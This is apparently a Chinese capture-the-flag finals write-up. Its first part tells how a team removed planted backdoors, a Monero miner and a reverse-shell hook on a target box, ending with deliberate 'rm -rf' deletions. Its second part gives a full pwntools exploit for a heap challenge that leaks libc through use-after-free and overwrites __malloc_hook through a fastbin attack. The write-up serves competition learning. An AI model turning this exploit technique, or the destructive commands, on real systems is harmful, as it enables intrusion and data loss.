决赛赛制分为上午的运维赛、下午的 AWDP 攻防赛。

运维赛

早上的运维赛属于的广东省强网的固定环境了,今年与去年的有所区别。去年是 SSH 连上靶机,在靶机上寻找线索,类似于黑客攻击的用户名、IP、挖矿病毒的钱包地址等等,找到这些信息之后,去做选择填空题,选择正确答案。

今年是需要的在靶机上进行修复,比如有后门,就删除后门。漏洞共计 13 个,固定分值,分值从 100 到 400 不等。比较搞笑的是平台并不公布修复的漏洞名称或者信息提示,全部漏洞以漏洞 1、2、3 等代号代替,只提醒漏洞 1 被修复这样。更 ™ 夸张的是主办方说 100 分最低分的题目是最难的,全场 4 个组别都没有修复这个漏洞。

怎么算是修复漏洞和 check 也是一个迷,临近结束的半个小时已经是摆烂聊天,上完洗手间回来一刷新解题成功多了两题,中间没有任何操作……基本摸索出来的 check 机制:

  1. 漏洞检测会延迟几轮,且有可能平台是单个单个队伍运行 check ,这也就是为啥队伍得分进度怪怪的
  2. 漏洞修复完成之后,后续不会因为 check 不过而扣除成功分数,举个例子就是删除 web 后门得分后,删站都没问题。最后快结束时,甚至于直接 rm -rf * ,想着会不会出现奇迹

下面大概以时间记录一下做了什么修复

尝试日志记录

依据上一届的经验,上一下命令历史记录,大概方案就是这个:https://www.cnblogs.com/andy9468/p/12751809.html

一切准备工作完成,source /etc/profile 的时候报错,没有报错截图,结合后面漏洞修复可以知道是记录 sh 脚本的特殊符号被禁用。

image-20211113160851539

WEB后门删除

队伍 web 师傅删除后门,具体是什么不太记得了,拿到队伍第一个漏洞得分。

ELF后门文件1

/home/ctf 目录下有个 prism 的二进制文件,存在 shellcode 执行,进行 patch 修改后上传覆盖后得分。与其他队伍赛后交流发现,只要删除就好了,根本不需要 patch ,好像也有道理后门文件本来就应该删除,干嘛要 patch ,与队伍另外一个 pwn 师傅一度纠结是 patch 还是要删除,patch 又要怎么样才算修复,因为这个后门,并不是有漏洞的程序。

挖矿病毒

有个门罗币的挖矿病毒,以 ctf 用户运行,有个启动的 sh 文件,运行后提示已经有挖矿在运行,你需要关闭原来那个,运行这个才算是修复成功。那么就 kill 原来的挖矿,在运行启动脚本,但并不能成挖矿,提示未能分派内存。

过一段时间原来 ctf 用户的挖矿又起来了,ps ef 查到在 tmp 下面有挖矿病毒的备份,ctf 运行的是这个,尝试进行:

  1. 修改挖矿配置文件,就是乱改,但还能运行
  2. chmod 000
  3. 删除 tmp 目录下全部挖矿相关的文件

感觉是没有得分的,因为以上 3 个操作间隔 20 分,按道理 check 早过几轮了,至于最后有没有得分就不知道了

最后将 /home/ctf/ 下的挖矿程序文件夹整个 rm ,也没有感觉有得分

ELF后门文件2

在 /home/ctf/hh ,建立 socket 连接,传入 shellocde 并执行,实际上也是不用 patch ,rm 完事,这个 hh 在 document/web4 里面也是有备份的,实际上就是在 web4 复制出来的

发现靶机初始化操作

history 查看到 8点38分左右的靶机初始化操作指令,定位到根目录启动脚本 start.sh ,内容主要是 web 服务启动,挖矿病毒启动

hook.so 恶意文件

在 history 看到有个编译的 hook 文件,植入的系统函数 puts 中,只要运行指令就会启动 python 反弹一个 shell ,将 hook.so 删除后不得分,因为运行指令会提示缺少 hook.so ,需要找到引用 hook 的地方,定位到 /usr/profile/profile 中 expose 引用了,并找到禁用特殊符号的内容。删除后,命令记录正常,同时得分了,hook 成功删除。

收尾骚操作

准备结束时大概之后了 check 失败不倒扣分数,所以骚操作了。

  • 删除/home/ctf全部文件

  • 删除ctf用户

  • rm -rf

攻防赛

程序很乱,漏洞全是盲测。基本情况是有个全局列表维护,申请大小在 0~0x100 。漏洞是 UAF 和 edit 堆溢出。远程是新版 ubuntu 18 。

思路是 uaf 输入 unsortedbin fd 指针泄漏地址;fastbin attack 攻击 malloc hook。

卡人的地方在于输入不可见字符,也就是 libc 地址,会进行编码,线下离线题目搞个编码……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
import sys

local = 1
binary = "./rheap"
local_libc = "/lib/x86_64-linux-gnu/libc.so.6"
ip = "172.36.62.11"
port = 9999
remote_libc = "./libc-2.23.so"


def main(ip=ip,port=port):
global p,elf,libc
elf = ELF(binary)
if local:
context.log_level = "debug"
p=process(binary)
# p=process(binary,env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF(local_libc)
pwn()
else:
context.log_level = "debug"
p=remote(ip,port)
#libc=ELF(remote_libc)
pwn()
return flag

def add(size):
p.sendlineafter("choice: ",str(1))
p.sendlineafter("Size: ",str(size))
def edit(id,len,context):
p.sendlineafter("choice: ",str(2))
p.sendlineafter("Idx: ",str(id))
p.sendlineafter("Len: ",str(len))
p.sendafter("Content: ",str(context))
def delete(id):
p.sendlineafter("choice: ",str(3))
p.sendlineafter("Idx: ",str(id))
def show(id):
p.sendlineafter("choice: ",str(4))
p.sendlineafter("Idx: ",str(id))

def pwn():
for i in range(8):
add(0x100)
for i in range(8):
delete(7 - i)
show(0)
p.recvuntil("Content: ")
leak=u64(p.recv(10).decode("utf-8").encode('latin-1').ljust(8, "\x00")) - 0x3ebca0
print(hex(leak))

add(0x100)
add(0x100)

for i in range(8):
add(0x68)
for i in range(8):
delete(i + 10)

edit(17,1000,p64(leak+libc.symbols['__malloc_hook'] - 0x13) + '\n')
add(0x68)
add(0x68)
edit(19,1000,"\x00"* 3 + p64(leak + 0x10a41c) + "\n")
#debug(p)
p.sendline('skye231')
cat_flag()
p.interactive()

def cat_flag():
global flag
p.recv()
p.sendline("cat flag")
flag = p.recvuntil('\n',drop=True).strip()

def debug(p,content=''):
if local:
gdb.attach(p,content)
raw_input()

if __name__ == "__main__":
if(len(sys.argv)==3):
ip = sys.argv[1]
port = sys.argv[2]
main()